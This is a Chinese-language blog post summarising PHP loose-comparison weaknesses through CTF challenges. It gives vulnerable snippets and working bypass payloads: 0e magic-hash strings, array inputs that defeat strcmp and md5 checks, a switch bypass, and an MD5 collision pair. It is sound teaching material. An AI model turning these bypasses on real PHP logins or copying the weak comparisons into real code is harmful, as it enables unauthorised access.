Zer0e's Blog

PHP弱类型总结

字数统计: 1.4k阅读时长: 6 min
2018/03/30 Share

前言

最近强网杯还有其他比赛中,出现了许多php弱类型的题目。用这篇文章总结一下到目前学到的php弱类型。

基础知识

学过php的都知道,php中有两种比较符==和===。
== 在进行比较的时候,会先将字符串类型转化成相同,再比较
=== 在进行比较的时候,会先判断两种字符串的类型是否相等,再比较
如果一个字符串和数字比较,则字符串会被转换成数值。例如:

1
2
3
4
5
6
7
8
<?php
var_dump("abc"==0); //true
var_dump("1abc"==1); //true
var_dump("0abc"==0); //true
var_dump("abc1"==1); //false
var_dump("abc0"==1); //false
var_dump("0e123"=="0e456");//true
?>

当”abc”==0 比较时,abc会被转换成数值,由于是字符串所以abc转换成0
而abc0和abc1却等于false,这是因为一个字符串刚开始的值决定了这个字符串的数值,如果该字符串以合法的数值开始,则使用该数值,否正值为0。例如1abc为true,0abc为false
而0e开头的字符串会被识别为科学记数法,而0的多少次方都为0,所以0e123==0e456.

实战

json绕过

json绕过我在web篇总结1中有稍微提到过。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
include_once("flag.php");
if(isset($_GET['key'])){
$pattern = '/^(?=.*[0-9].*)(?=.*[a-zA-Z].*).{7,}$/';
$key = $_GET['key'];
if(preg_match($pattern,$key)===0){
echo "format error";
}else{
$lock"************";
$b = json_decode($key);
if($b==$lock)
echo $flag;
else
echo "wrong key";
}
}
?>

输入一个json类型的字符串进行json_decode,判断key是否等于lock的值,但是lock的值我们不知道,但是我们可以利用前面所说的0==”string”来绕过。而要求key要含有字母,我们就可以用0e开头的字符串来实现。
payload:key=0e123456

strcmp漏洞绕过

要求 php -v < 5.3

1
2
3
4
5
6
7
8
9
<?php
include_once("flag.php");
if(isset($_GET['str1'])&&isset($_GET['str2'])){
if($_GET['str1']!=$_GET['str2'] && strcmp($_GET['str1'],$_GET['str2'])==0)
echo $flag;
else
echo "error...";
}
?>

strcmp函数在php中用与比较两个字符串。
那如果传入的参数为数组会怎样呢?
我们传入str1[]=1&str2[]=2,这时函数接受了不符合的类型,会返回NULL==NULL,也就判断类型相等。
payload:str1[]=1&str2[]=2

switch绕过

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<?php
include_once("flag.php");
if(isset($_GET['a'])){
$pattern = '/^(?=.*[0-9].*)(?=.*[a-zA-Z].*).{4,}$/';
$a = $_GET['a'];
if(preg_match($pattern,$a)===0){
echo "format error";
}else{
switch($a){
case 1:
echo "error..";
break;
case 2:
echo "error..";
break;
case 3:
echo "error..";
break;
case 4:
echo $flag;
break;
}
}
}
?>

原理和之前讲的大同小异,由于有正则表达式进行匹配所以a中必须含有字母,利用”4abc”==4便可绕过switch
payload:a=4abc

MD5类型绕过

强网杯web签到题就出了三道绕过MD5函数的题目,下面就以这道来总结一下。
第一关:

MD5弱类型

1
2
3
4
5
6
7
8
9
<?php
include_once("flag.php");
if(isset($_GET['str1'])&&isset($_GET['str2'])){
if($_GET['str1'] != $_GET['str2'] && md5($_GET['str1']) == md5($_GET['str2']))
echo $flag;
else
echo "something error...";
}
?>

第一关就是传入两个字符串,两个字符串不相等,但是md5加密后相等,前面提到过0e开头的字符串在比较时会被视为科学记数法,所以两个0e开头的字符串会被认为相等。即:md5(‘s878926199a’) == md5(‘QNKCDZO’)
在网上找了一些md5加密后为0e开头的字符串:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
QNKCDZO
0e830400451993494058024219903391

240610708
0e462097431906509019562988736854

s878926199a
0e545993274517709034328855841020

s155964671a
0e342768416822451524974117254469

s214587387a
0e848240448830537924465865611904

s878926199a
0e545993274517709034328855841020

s1091221200a
0e940624217856561557816327384675

s1885207154a
0e509367213418206700842008763514

payload:str1=QNKCDZO&str2=s878926199a

第二关:

MD5数组绕过

1
2
3
4
5
6
7
8
9
<?php
include_once("flag.php");
if(isset($_GET['str1'])&&isset($_GET['str2'])){
if($_GET['str1'] !== $_GET['str2'] && md5($_GET['str1']) === md5($_GET['str2']))
echo $flag;
else
echo "something error...";
}
?>

由于MD5比较换成了强类型,这就导致参数传入且MD5加密后被转换成了相同的类型之后才进行比较,所以以0e开头的字符串不再以数值来进行比较,而由于md5函数无法处理数组,我们可以传入数组,md5函数就会返回NULL,也就判断NULL===NULL,成功绕过。
payload:str1[]=1&str2[]=2
之前的md5弱类型也可以用此方法绕过。由此可知,数组可以绕过很多函数,例如strcmp还有md5。

第三关:

MD5碰撞

1
2
3
4
5
6
7
8
9
<?php
include_once("flag.php");
if(isset($_GET['str1'])&&isset($_GET['str2'])){
if((string)$_GET['str1'] !== (string)$_GET['str2'] && md5($_GET['str1']) === md5($_GET['str2']))
echo $flag;
else
echo "something error...";
}
?>

这关就不再属于弱类型了。由于先将参数转为
string后,如果我们传入数组会返回NULL,导致NULL==NULL,第一个条件绕过失败。
所以我们需要找到两个md5值相等的字符串。有这样的字符串吗?还真有。
https://www.mscs.dal.ca/~selinger/md5collision/
资料里给出了两个字符串的16进制值,我们只需要将两个16进制值转为字符串提交即可。但需要注意,由于有不可见字符需要使用脚本提交。

1
2
str1 = "d131dd02c5e6eec4693d9a0698aff95c2fcab58712467eab4004583eb8fb7f8955ad340609f4b30283e488832571415a085125e8f7cdc99fd91dbdf280373c5bd8823e3156348f5bae6dacd436c919c6dd53e2b487da03fd02396306d248cda0e99f33420f577ee8ce54b67080a80d1ec69821bcb6a8839396f9652b6ff72a70"
str2 = "d131dd02c5e6eec4693d9a0698aff95c2fcab50712467eab4004583eb8fb7f8955ad340609f4b30283e4888325f1415a085125e8f7cdc99fd91dbd7280373c5bd8823e3156348f5bae6dacd436c919c6dd53e23487da03fd02396306d248cda0e99f33420f577ee8ce54b67080280d1ec69821bcb6a8839396f965ab6ff72a70"

脚本就不贴了。记得decode(‘hex’)就行了。

总结

这些也只是php弱类型的一点点知识而已,还有更多的东西没有写出来(其实我不会了)。
之前很早就想写这篇文章,一直拖到现在,不过也好,又学到了新的知识一起写到文章里了。
学习永远都是靠自己一个人,别人再厉害也只是别人而已,只有自己脚踏实地才能学到真的知识。

CATALOG
  1. 1. 前言
  2. 2. 基础知识
  3. 3. 实战
    1. 3.1. json绕过
    2. 3.2. strcmp漏洞绕过
    3. 3.3. switch绕过
    4. 3.4. MD5类型绕过
      1. 3.4.1. MD5弱类型
      2. 3.4.2. MD5数组绕过
      3. 3.4.3. MD5碰撞
  4. 4. 总结